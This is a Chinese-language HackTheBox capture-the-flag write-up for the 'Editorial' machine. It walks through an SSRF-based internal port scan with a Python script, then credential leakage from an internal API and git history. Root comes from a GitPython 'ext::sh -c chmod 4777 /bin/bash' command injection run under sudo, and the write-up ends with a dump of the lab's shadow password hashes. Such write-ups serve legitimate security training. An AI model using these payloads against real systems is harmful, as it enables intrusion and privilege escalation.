HackTheBox - Machine - Editorial

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Editorial

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
| 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到兩個端口,肯定是從80端口進去的。

80 - web

掃了一下子域名,什麽也沒有

image

不過這裏有一個輸入遠程的鏈接,然後本地開一個python的服務器,用nc探測下:

1
2
3
4
5
6
7
8
9
$ nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.129.116.73 42534
GET /testing HTTP/1.1
Host: 10.10.16.23
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

看到是 python-requests/2.25.1​ ,網上查了一下,沒有什麽比較嚴重的CVE。

然後我嘗試用burp截取,如果我嘗試訪問本地的80端口會怎樣:

image

結果卡住了。。那其他端口呢?

1
2
3
http://127.0.0.1:11  ->  /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
http://127.0.0.1:11 -> /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
http://10.10.16.23 -> /static/uploads/7dc9ddc8-777d-4450-bdfb-b84066a77e7f

可以看到儅失敗的時候,總是返回 unsplash_photo_1630734277837_ebe62757b6e0​,但是成功會給我們另一個url。

如果本地開啓了其他的http服務器,那麽就可以通過這種方法獲取一些有價值的東西,所以隨手寫一個脚本去探測:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from concurrent.futures import ThreadPoolExecutor, wait, ALL_COMPLETED, FIRST_COMPLETED

def thr(x):
try:
burp0_url = "http://editorial.htb:80/upload-cover"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------216537431637657149343063426523", "Origin": "http://editorial.htb", "Connection": "close", "Referer": "http://editorial.htb/upload"}
burp0_data = "-----------------------------216537431637657149343063426523\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\nhttp://127.0.0.1:"+str(x)+"\r\n-----------------------------216537431637657149343063426523\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------216537431637657149343063426523--\r\n"
ret_str = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,timeout=3).text
if ("/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg" in ret_str):
return

print("[*] Found %s " % (x))
except :
print("[*] Found %s " % (x))

executor = ThreadPoolExecutor(max_workers=60)
all_task = []

for i in range(1, 65536):
all_task.append(executor.submit(thr, i))

wait(all_task, return_when=ALL_COMPLETED)

只要服務器返回的結果沒有 /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg​ 這一串東西,都算成功,運行如下:

image

你可以看到開放了 80 和 5000 端口,不過想了一下,ffuf 應該是也可以,只是80端口因爲超時所以不會顯示在ffuf的結果上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27500373877983671053194122670
Content-Length: 361
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------27500373877983671053194122670
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------27500373877983671053194122670
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------27500373877983671053194122670--

類似如下:

image

知道開放了5000的端口,這樣就可以嘗試發送一個請求,看看有什麽結果:

image

可以看到返回了一大串json,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ curl http://editorial.htb/static/uploads/ad7a5814-9163-4ced-8838-ac19cd53b8e9
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

$ curl http://editorial.htb/static/uploads/ad7a5814-9163-4ced-8838-ac19cd53b8e9 | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 911 100 911 0 0 6241 0 --:--:-- --:--:-- --:--:-- 6282
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}

看來是個api服務器,用 jq 快速過濾下 endpoint​ :

1
2
3
4
5
6
7
$ curl http://editorial.htb/static/uploads/ad7a5814-9163-4ced-8838-ac19cd53b8e9 | jq | grep endpoint
"endpoint": "/api/latest/metadata/messages/promos",
"endpoint": "/api/latest/metadata/messages/coupons",
"endpoint": "/api/latest/metadata/messages/authors",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"endpoint": "/api/latest/metadata/changelog",
"endpoint": "/api/latest/metadata",

然後一個一個試,因爲只有六個而已,沒必要寫工具了。

然後世道第三個的時候看到有一個賬號密碼:

image

1
dev: dev080217_devAPI!@

嘗試登錄ssh,結果進去了。

1
2
3
4
5
6
7
8
9
10
11
dev@editorial:~$ ls
apps user.txt

dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ls

dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git

Root

可以看到app裏面有一個 .git​ 藏起來了。

image

然後看看git的歷史記錄,看到了 prod, cat /etc/passwd​ 也看到prod這個用戶:

image

所以嘗試su過去看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
dev@editorial:~/apps$ su prod
Password:

prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)

# 結果成功了,隨手 sudo -l 看看:
prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

# 可以看到是調用python3的脚本,看看這個脚本有什麽:
prod@editorial:/home/dev/apps$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

脚本原來是模擬簡單的gitclone,所以應該是某個軟件包,因爲沒有git.py 這個文件在目錄裏面。

pip3 查一下軟件包的版本,搜索 git 看到:

image

有兩個

1
2
gitdb                 4.0.10
GitPython 3.1.29

於是查了一下:

image

看到了這篇文章: https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

可以看到poc和這個脚本非常相似

image

這個poc告訴你它可以執行代碼,所以根據poc,把bash加上suid的權限:

1
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 4777% /bin/bash'

然後得到root:

image

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:$y$j9T$PNijPFzQRd1/Yx6sr4HqS.$ITtQp.k4TN0RY1ADcvcSb.b9UcxD6Jx0MDNL3odgsV9:19878:0:99999:7:::
daemon:*:19213:0:99999:7:::
bin:*:19213:0:99999:7:::
sys:*:19213:0:99999:7:::
sync:*:19213:0:99999:7:::
games:*:19213:0:99999:7:::
man:*:19213:0:99999:7:::
lp:*:19213:0:99999:7:::
mail:*:19213:0:99999:7:::
news:*:19213:0:99999:7:::
uucp:*:19213:0:99999:7:::
proxy:*:19213:0:99999:7:::
www-data:*:19213:0:99999:7:::
backup:*:19213:0:99999:7:::
list:*:19213:0:99999:7:::
irc:*:19213:0:99999:7:::
gnats:*:19213:0:99999:7:::
nobody:*:19213:0:99999:7:::
_apt:*:19213:0:99999:7:::
systemd-network:*:19213:0:99999:7:::
systemd-resolve:*:19213:0:99999:7:::
messagebus:*:19213:0:99999:7:::
systemd-timesync:*:19213:0:99999:7:::
pollinate:*:19213:0:99999:7:::
sshd:*:19213:0:99999:7:::
syslog:*:19213:0:99999:7:::
uuidd:*:19213:0:99999:7:::
tcpdump:*:19213:0:99999:7:::
tss:*:19213:0:99999:7:::
landscape:*:19213:0:99999:7:::
usbmux:*:19385:0:99999:7:::
prod:$y$j9T$bQEMwg1M5mDlBp9UM9YAM0$y8V8Rl64myknJa31Tzt/x9hQpzavDce2vGK9K8y316.:19394:0:99999:7:::
lxd:!:19385::::::
dev:$y$j9T$KcdXrIRoJN69I1Ez4Zx1B/$Jc/EJctFUl4/PaL2RvwUWccq5zC4ep2KtIhMDtbTdn6:19390:0:99999:7:::
fwupd-refresh:*:19878:0:99999:7:::
_laurel:!:19879::::::

Thanks

Recommand: If you really like my writeups, please use this link to sign up for an HTB Academy account to show my appreciation.

非常推薦: 如果你真的喜歡我寫的writeup,請使用這個鏈接注冊一個 HTB Academy 賬號,以表達我的感謝。

如果你是新手,使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)